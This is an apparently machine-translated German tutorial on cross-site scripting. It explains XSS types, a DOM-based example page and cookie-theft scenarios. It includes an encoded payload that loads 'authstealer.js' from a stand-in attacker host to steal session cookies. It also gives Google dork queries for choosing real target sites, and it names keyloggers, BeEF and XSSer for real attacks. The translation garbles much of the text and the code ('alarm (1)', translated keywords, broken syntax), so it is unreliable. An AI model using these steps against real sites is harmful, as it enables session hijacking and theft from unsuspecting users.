Wenn die Site example.com für XSS anfällig ist, bedeutet dies, dass wir auf die eine oder andere Weise JavaScript-Code in sie einfügen können, und dieser Code wird im Auftrag der Site example.com ausgeführt! Jene. Dieser Code erhält beispielsweise Zugriff auf die Cookies der Website example.com.
Ich denke, jeder erinnert sich daran, dass JavaScript in den Browsern des Benutzers ausgeführt wird, d. H. Bei Vorhandensein von XSS erhält der injizierte Schadcode Zugriff auf die Daten des Benutzers, der die Website-Seite geöffnet hat.
Der injizierte Code kann alles, was JavaScript kann, nämlich:
- greift auf die Cookies der besuchten Site zu
- kann Änderungen am Erscheinungsbild der Seite vornehmen
- greift auf die Zwischenablage zu
- kann JavaScript-Programme wie Key Logger (Interceptors of Pressed Keys) einfügen
- beEF anschließen
Einfachstes Cookie-Beispiel:
Tatsächlich, aufmerksam Wird nur zur XSS-Erkennung verwendet. Die echte böswillige Nutzlast führt verdeckte Aktionen aus. Es kommuniziert heimlich mit dem Remote-Server des Angreifers und überträgt die gestohlenen Daten an diesen.
XSS-Ansichten
Das Wichtigste, was Sie über die XSS-Typen wissen müssen, ist, dass sie:
- Gespeichert (persistent)
- Reflektiert (unbeständig)
Ein Beispiel für Konstanten:
- Eine speziell gestaltete Gästebuchnachricht (Kommentar, Forumsnachricht, Profil), die von einem Angreifer eingegeben und auf dem Server gespeichert wurde, wird jedes Mal vom Server heruntergeladen, wenn Benutzer diese Seite anzeigen möchten.
- Ein Angreifer erhielt Zugriff auf Serverdaten, beispielsweise durch SQL-Injection, und injizierte schädlichen JavaScript-Code (mit Keyloggern oder mit BeEF) in die dem Benutzer angezeigten Daten.
Ein Beispiel für flüchtige:
- Auf der Website gibt es eine Suche, die zusammen mit den Suchergebnissen so etwas wie "Sie haben gesucht nach: [Suchzeichenfolge]" anzeigt, während die Daten nicht richtig gefiltert werden. Da eine solche Seite nur für diejenigen angezeigt wird, die einen Link dazu haben, funktioniert der Angriff erst, wenn der Angreifer den Link an andere Site-Benutzer sendet. Anstatt einen Link an das Opfer zu senden, können Sie die Platzierung eines schädlichen Skripts auf einer neutralen Site verwenden, die vom Opfer besucht wird.
Sie unterscheiden auch (einige als eine Art flüchtiger XSS-Schwachstellen, andere sagen, dass diese Art eine Art beständiges XSS sein kann):
- DOM-Modelle
DOM-basierte XSS-Funktionen
Ganz einfach, wir können den Schadcode von "normalem" flüchtigem XSS sehen, wenn wir den HTML-Code öffnen. Zum Beispiel wird ein Link wie folgt gebildet:
Http://example.com/search.php?q\u003d "/\u003e
Und beim Öffnen des HTML-Quellcodes sehen wir ungefähr Folgendes:
< div class = "m__search" > < form method = "get" action = "/search.php" > < input type = "text" class = "ui-input query" name = "q" value = "" /> < script >alarm (1) script >" /> < button type = "submit" class = "ui-button" >Finden button > form >
Und DOM XSS ändert die DOM-Struktur, die im laufenden Betrieb im Browser gebildet wird, und wir können den Schadcode nur sehen, wenn wir die gebildete DOM-Struktur anzeigen. Dies ändert den HTML-Code nicht. Nehmen wir diesen Code als Beispiel:
< html > < head > < title >seite ::: DOM XSS title > < meta charset = "UTF-8" > < meta name = "viewport" content = "width=device-width, initial-scale=1.0" > head > < body > < div id = "default" > Ein Fehler ist aufgetreten ... div > < script > Funktion OnLoad () (var foundFrag \u003d get_fragment (); return foundFrag;) Funktion get_fragment () (var r4c \u003d "(. *?)"; var results \u003d location.hash.match (". * input \u003d token (" +) r4c + ");") if (results) (document.getElementById ("default"). innerHTML \u003d ""; return (unescape (results));) else (return null;)) display_session \u003d OnLoad (); document.write ("Ihre Sitzungs-ID war:" + display_session + "< br >< br >") script > body > html >
Dann werden wir im Browser sehen:
Quellcode der Seite:
Bilden wir die Adresse wie folgt:
Http: //localhost/tests/XSS/dom_xss.html#input\u003dtokenAlex;
Die Seite sieht jetzt so aus:
Aber schauen wir uns die HTML-Quelle an:
Dort hat sich nichts geändert. Folgendes habe ich gesagt: Wir müssen uns die DOM-Struktur des Dokuments ansehen, um den Schadcode aufzudecken:
Hier ist ein funktionierender Prototyp von XSS. Für einen echten Angriff benötigen wir eine komplexere Nutzlast, die unmöglich ist, da die Anwendung unmittelbar nach dem Semikolon nicht mehr liest, und so weiter alarm (1); Alarm (2) ist nicht mehr möglich. Dank jedoch unescape () In den zurückgegebenen Daten können wir eine Nutzlast wie folgt verwenden:
Http: //localhost/tests/XSS/dom_xss.html#input\u003dtokenAlex;
Wo haben wir das Symbol ersetzt? ; zum URI-codierten Äquivalent!
Wir können jetzt eine schädliche JavaScript-Nutzlast schreiben und einen Link erstellen, der an das Opfer gesendet werden soll, wie dies bei nicht persistenten Cross-Site-Skripten der Fall ist.
XSS Auditor
In Google Chrome (und auch in Opera, das jetzt die Google Chrome-Engine verwendet) hatte ich folgende Überraschung:
dom_xss.html: 30 Der XSS-Auditor lehnte es ab, ein Skript in der Warnung „http: //localhost/tests/XSS/dom_xss.html#input\u003dtoken ‹script› (1) auszuführen.; ’Weil der Quellcode in der Anfrage gefunden wurde. Der Auditor wurde aktiviert, da der Server weder einen "X-XSS-Protection" - noch einen "Content-Security-Policy" -Header gesendet hat.
Jene. Es gibt jetzt einen XSS-Auditor im Browser, der versucht, XSS zu verhindern. Firefox hat diese Funktionalität noch nicht, aber ich denke, es ist eine Frage der Zeit. Wenn die Implementierung in Browsern erfolgreich ist, können wir über eine erhebliche Schwierigkeit bei der Verwendung von XSS sprechen.
Es ist hilfreich, sich daran zu erinnern, dass moderne Browser Schritte unternehmen, um die Ausnutzung von Problemen wie flüchtigem XSS und DOM-basiertem XSS zu begrenzen. Dies muss auch beim Testen von Websites mit einem Browser beachtet werden. Es kann sich herausstellen, dass die Webanwendung anfällig ist, aber das Bestätigungs-Popup wird nicht angezeigt, nur weil der Browser sie blockiert.
Beispiele für die XSS-Ausnutzung
Angreifer, die Cross-Site-Scripting-Schwachstellen ausnutzen möchten, müssen sich jeder Schwachstellenklasse anders nähern. Angriffsvektoren für jede Klasse werden hier beschrieben.
Bei XSS-Schwachstellen können Angriffe BeEF verwenden, wodurch der Angriff von der Website auf die lokale Benutzerumgebung ausgedehnt wird.
Ein Beispiel für einen flüchtigen XSS-Angriff
1. Alice besucht häufig eine bestimmte Website, die Bob hostet. Auf der Website von Bob kann sich Alice mit einem Benutzernamen / Passwort anmelden und vertrauliche Daten wie Zahlungsinformationen speichern. Wenn sich ein Benutzer anmeldet, speichert der Browser Autorisierungscookies, die wie bedeutungslose Zeichen aussehen, d. H. Beide Computer (Client und Server) erinnern sich, dass sie angemeldet war.
2. Malorie stellt fest, dass Bobs Website eine flüchtige XSS-Sicherheitslücke enthält:
2.1 Beim Besuch der Suchseite gibt sie die Suchzeichenfolge ein und klickt auf die Schaltfläche "Senden". Wenn keine Ergebnisse gefunden werden, zeigt die Seite die eingegebene Suchzeichenfolge an, gefolgt von den Wörtern "nicht gefunden" und die URL sieht aus http://bobssite.org?q\u003d ihre Suchanfrage
2.2 Mit einem normalen Suchbegriff wie „ hündchen"Die Seite wird nur angezeigt" hündchen nicht gefunden "und URL http://bobssite.org?q\u003d hündchen, was normales Verhalten ist.
2.3 Wenn jedoch eine abnormale Suchabfrage gefällt :
2.3.1 Eine Warnmeldung mit der Aufschrift "xss" wird angezeigt.
2.3.2 Seitenanzeigen nicht gefunden zusammen mit einer Fehlermeldung mit dem Text 'xss'.
2.3.3 verwendbare URL http://bobssite.org?q\u003d
3. Mallory erstellt eine URL, um die Sicherheitsanfälligkeit auszunutzen:
3.1 Sie macht die URL http://bobssite.org?q\u003dpuppies ... Sie kann wählen, ob ASCII-Zeichen in ein hexadezimales Format konvertiert werden sollen, z http://bobssite.org?q\u003dpuppies%3Cscript%2520src%3D%22http%3A%2F%2Fmallorysevilsite.com%2Fauthstealer.js%22%3E um zu verhindern, dass Personen die schädliche URL sofort entschlüsseln.
3.2 Sie sendet eine E-Mail an ein ahnungsloses Mitglied von Bobs Website und sagt: "Schauen Sie sich die coolen Hunde an."
4. Alice erhält einen Brief. Sie liebt Hunde und klickt auf den Link. Sie geht auf Bobs Website, sucht nichts, zeigt "keine Hunde gefunden" an und in der Mitte wird ein Tag mit einem Skript gestartet (es ist auf dem Bildschirm unsichtbar), lädt Mallorys Programm authstealer.js und führt es aus (löst einen XSS-Angriff aus). Alice vergisst es.
5. Das Programm authstealer.js wird in Alices Browser so ausgeführt, als stamme es von Bobs Website. Sie schnappt sich eine Kopie von Alices Autorisierungscookies und sendet sie an Malories Server, wo Malorie sie abruft.
7. Jetzt, wo Malorie drinnen ist, geht sie zum Zahlungsbereich der Website, schaut nach und stiehlt eine Kopie von Alices Kreditkartennummer. Dann geht sie und ändert das Passwort, d.h. jetzt kann Alice nicht einmal mehr hineingehen.
8. Sie beschließt, den nächsten Schritt zu tun, sendet den auf diese Weise erstellten Link an Bob selbst und erhält so die Administratorrechte von Bobs Site.
Permanenter XSS-Angriff
- Malorie hat einen Account auf Bobs Website.
- Malorie bemerkt, dass Bobs Website eine anhaltende XSS-Sicherheitslücke enthält. Wenn Sie zu einem neuen Abschnitt gehen, einen Kommentar veröffentlichen, wird alles angezeigt, was darin eingegeben wurde. Wenn der Kommentartext jedoch HTML-Tags enthält, werden diese Tags unverändert angezeigt und alle Skript-Tags ausgeführt.
- Malorie liest den Artikel im Bereich "Nachrichten" und schreibt einen Kommentar im Abschnitt "Kommentare". Sie fügt den Text in den Kommentar ein:
- In dieser Geschichte mochte ich die Hunde so sehr. Sie sind so nett!
- Wenn Alice (oder jemand anderes) die Seite mit diesem Kommentar lädt, wird Malorys Skript-Tag ausgelöst, stiehlt Alices Autorisierungs-Cookies und sendet sie zur Sammlung an Malories geheimen Server.
- Malorie kann jetzt Alices Sitzung abfangen und sich als Alice ausgeben.
Suchen Sie nach Websites, die für XSS anfällig sind
XSS Straßen
Der erste Schritt besteht darin, die Sites auszuwählen, an denen XSS-Angriffe ausgeführt werden sollen. Websites können mit Google Dorks durchsucht werden. Hier sind einige dieser Trottel, die Sie kopieren und in die Google-Suche einfügen können:
- inurl: search.php? q \u003d
- inurl: .php? q \u003d
- inurl: search.php
- inurl: .php? search \u003d
Eine Liste der Websites wird vor uns geöffnet. Sie müssen die Site öffnen und Eingabefelder darauf finden, z. B. ein Feedback-Formular, ein Eingabeformular, eine Site-Suche usw.
Ich möchte sofort darauf hinweisen, dass es fast nutzlos ist, in beliebten automatisch aktualisierten Webanwendungen nach Schwachstellen zu suchen. Ein klassisches Beispiel für eine solche Anwendung ist WordPress. In der Tat gibt es Schwachstellen in WordPress und insbesondere in seinen Plugins. Darüber hinaus gibt es viele Websites, die weder die WordPress-Engine (aufgrund der Tatsache, dass der Webmaster einige Änderungen am Quellcode vorgenommen hat) noch Plugins und Themes (normalerweise Raubkopien von Plugins und Themes) aktualisieren. Aber wenn Sie diesen Abschnitt lesen und etwas Neues daraus lernen, dann ist WordPress noch nichts für Sie ... Wir werden auf jeden Fall später darauf zurückkommen.
Die besten Ziele sind verschiedene benutzerdefinierte Engines und Skripte.
Sie können als Nutzlast einfügen wählen
Achten Sie darauf, in welche HTML-Tags Ihr eingebetteter Code fällt. Hier ist ein Beispiel für ein typisches Eingabefeld
< input type = "text" class = "ui-input query" name = "q" value = "kissenbezug" />< script >alarm (1) script >< input value = "" />
Unsere Nutzlast wird dahin gehen, wo das Wort "Kissenbezug" jetzt ist. Jene. in Tag-Wert verwandeln eingang... Wir können dies vermeiden, indem wir das doppelte Anführungszeichen und dann das Tag selbst mit schließen «/>
"/>
Programme zum Suchen und Scannen von XSS-Schwachstellen
Wahrscheinlich verfügen alle Webanwendungsscanner über einen integrierten XSS-Schwachstellenscanner. Dieses Thema ist nicht umfassend. Es ist besser, sich mit jedem dieser Scanner einzeln vertraut zu machen.
Es gibt auch spezielle Tools zum Scannen nach XSS-Schwachstellen. Unter diesen kann man besonders hervorheben:
- XSSer ist nicht nur ein leistungsstarker Scanner, der verschiedene Methoden zum Injizieren und Umgehen der Filterung verwenden kann, sondern auch ein automatisiertes Tool zum Auffinden von Websites, die für XSS anfällig sind (von Dorken). Kann für Websites mit gefundenen Sicherheitslücken Nutzdaten für einen echten Angriff einspeisen.
- XssPy ist auch ein ziemlich unabhängiges Tool, mit dem alle Seiten einer Site (einschließlich der Subdomains) gefunden und alle Eingabeelemente auf diesen Seiten überprüft werden können.
- BruteXSS - ein positives Merkmal dieses Tools ist die vollständige Beseitigung von Fehlalarmen.
Anfällige Webanwendungen für XSS-Tests
Die meisten anfälligen Webanwendungen (mit Ausnahme einiger hochspezialisierter) enthalten Websites, die für XSS anfällig sind. Die beste Option ist, sie in der eigenständigen Dojo-Lernumgebung zu verwenden, in der viele Anwendungen zum Testen gesammelt wurden. Zum Beispiel können Ihre Fähigkeiten zur Identifizierung und Bedienung von XSS geschult werden in folgenden Bereichen:
Verdammt anfällige Web App (DVWA):
- http: // localhost / dvwa / verwundbarkeit / xss_r / (flüchtiges XSS)
- http: // localhost / dvwa / Vulnerabilities / xss_s / (gespeichertes XSS)
Mutillidae / NOWASP (viele sehr unterschiedliche XSS-Variationen)
- http: // localhost / mutillidae /
Cross Site Scripting (kurz XSS) ist eine weit verbreitete Sicherheitsanfälligkeit, die viele Webanwendungen betrifft. Es ermöglicht einem Angreifer, schädlichen Code so in eine Website einzufügen, dass der Browser des Benutzers, der die Website besucht, den Code ausführt.
Das Ausnutzen einer solchen Sicherheitsanfälligkeit erfordert normalerweise eine gewisse Interaktion mit dem Benutzer: Entweder wird er mithilfe von Social Engineering auf eine infizierte Site gelockt, oder er wartet einfach darauf, dass er die Site selbst besucht. Daher nehmen Entwickler XSS-Schwachstellen häufig nicht ernst.
Wenn sie jedoch nicht angesprochen werden, können sie eine ernsthafte Sicherheitsbedrohung darstellen.
Stellen wir uns vor, wir befinden uns im WordPress-Admin-Bereich und fügen neue Inhalte hinzu. Wenn wir hierfür ein für XSS anfälliges Plugin verwenden, kann dies den Browser dazu zwingen, einen neuen Administrator zu erstellen, den Inhalt zu ändern und andere böswillige Aktionen auszuführen. Durch Cross-Site-Scripting hat ein Angreifer heutzutage fast die vollständige Kontrolle über die wichtigste Software - den Browser.
XSS: Sicherheitsanfälligkeit bei Injektionen
Jede Website oder Anwendung verfügt über mehrere Einstiegspunkte - Formularfelder bis zur URL selbst. Das einfachste Beispiel für die Dateneingabe ist die Eingabe eines Benutzernamens und eines Kennworts in ein Formular:
Unser Name wird für zukünftige Interaktionen mit uns in der Datenbank der Site gespeichert. Als Sie sich auf einer Website angemeldet haben, haben Sie sicherlich eine persönliche Begrüßung im Stil von "Willkommen, Ilya" gesehen.
Zu diesem Zweck werden Benutzernamen in der Datenbank gespeichert.
Eine Injektion ist eine Prozedur, bei der anstelle eines Namens oder Kennworts eine spezielle Zeichenfolge eingegeben wird, wodurch der Server oder Browser gezwungen wird, auf eine bestimmte Weise zu reagieren, die der Angreifer benötigt.
Cross-Site-Scripting bezieht sich auf eine Injektion, die Code einfügt, der im Namen einer Website Aktionen im Browser ausführt. Dies kann sowohl mit der Benachrichtigung des Benutzers als auch im Hintergrund ohne sein Wissen geschehen.
Traditionelle XSS-Angriffe:
Reflektiert (unbeständig).
Ein reflektierter XSS-Angriff wird ausgelöst, wenn ein Benutzer auf einen speziell vorbereiteten Link klickt.
Diese Sicherheitsanfälligkeiten treten auf, wenn von einem Webclient bereitgestellte Daten, meist in HTTP-Anforderungsparametern oder in HTML-Form, direkt von serverseitigen Skripten ausgeführt werden, um eine Ergebnisseite für diesen Client ohne ordnungsgemäße Verarbeitung zu analysieren und anzuzeigen.
Gespeichert (persistent).
Gespeichertes XSS ist möglich, wenn ein Angreifer bei jedem Zugriff auf die Originalseite schädlichen Code in den Server einfügen kann, der im Browser ausgeführt wird. Ein klassisches Beispiel für diese Sicherheitsanfälligkeit sind Foren, in denen HTML-Kommentare zulässig sind.
Sicherheitslücken durch clientseitigen Code (JavaScript, Visual Basic, Flash usw.):
Auch als DOM-Modelle bekannt:
Reflektiert (unbeständig).
Wie auf der Serverseite ist der Angriff nur in diesem Fall möglich, da der Code vom Browser verarbeitet wird.
Gespeichert (persistent).
Ähnlich wie beim gespeicherten XSS auf der Serverseite wird nur in diesem Fall die schädliche Komponente auf der Clientseite mithilfe des Browserspeichers gespeichert.
Beispiele für XSS-Schwachstellen.
Interessanterweise erschrecken sie uns in den meisten Fällen, in denen diese Sicherheitsanfälligkeit beschrieben wird, mit dem folgenden Code:
Http://www.site.com/page.php?var\u003d
Es gibt zwei Arten von XSS-Schwachstellen - passive und aktive.
Aktive Sicherheitslücke gefährlicher, da der Angreifer das Opfer nicht über einen speziellen Link locken muss, muss er nur den Code in die Datenbank oder eine Datei auf dem Server einfügen. Somit werden alle Site-Besucher automatisch Opfer. Es kann beispielsweise mit SQL Injection integriert werden. Daher sollten Sie den in der Datenbank gespeicherten Daten nicht vertrauen, auch wenn sie beim Einfügen verarbeitet wurden.
Beispiel passive Verwundbarkeit finden Sie ganz am Anfang des Artikels. Hier wird bereits Social Engineering benötigt, z. B. ein wichtiger Brief der Site-Administration mit der Aufforderung, die Einstellungen Ihres Kontos nach dem Wiederherstellen aus einem Backup zu überprüfen. Dementsprechend müssen Sie die Adresse des Opfers kennen oder einfach ein Spam-Mailing oder einen Post in einem Forum arrangieren und auch nicht die Tatsache, dass die Opfer naiv sind und auf Ihren Link klicken.
Darüber hinaus können sowohl POST- als auch GET-Parameter einer passiven Sicherheitsanfälligkeit unterliegen. Bei POST-Parametern müssen Sie natürlich Tricks anwenden. Zum Beispiel Weiterleiten von der Website des Angreifers.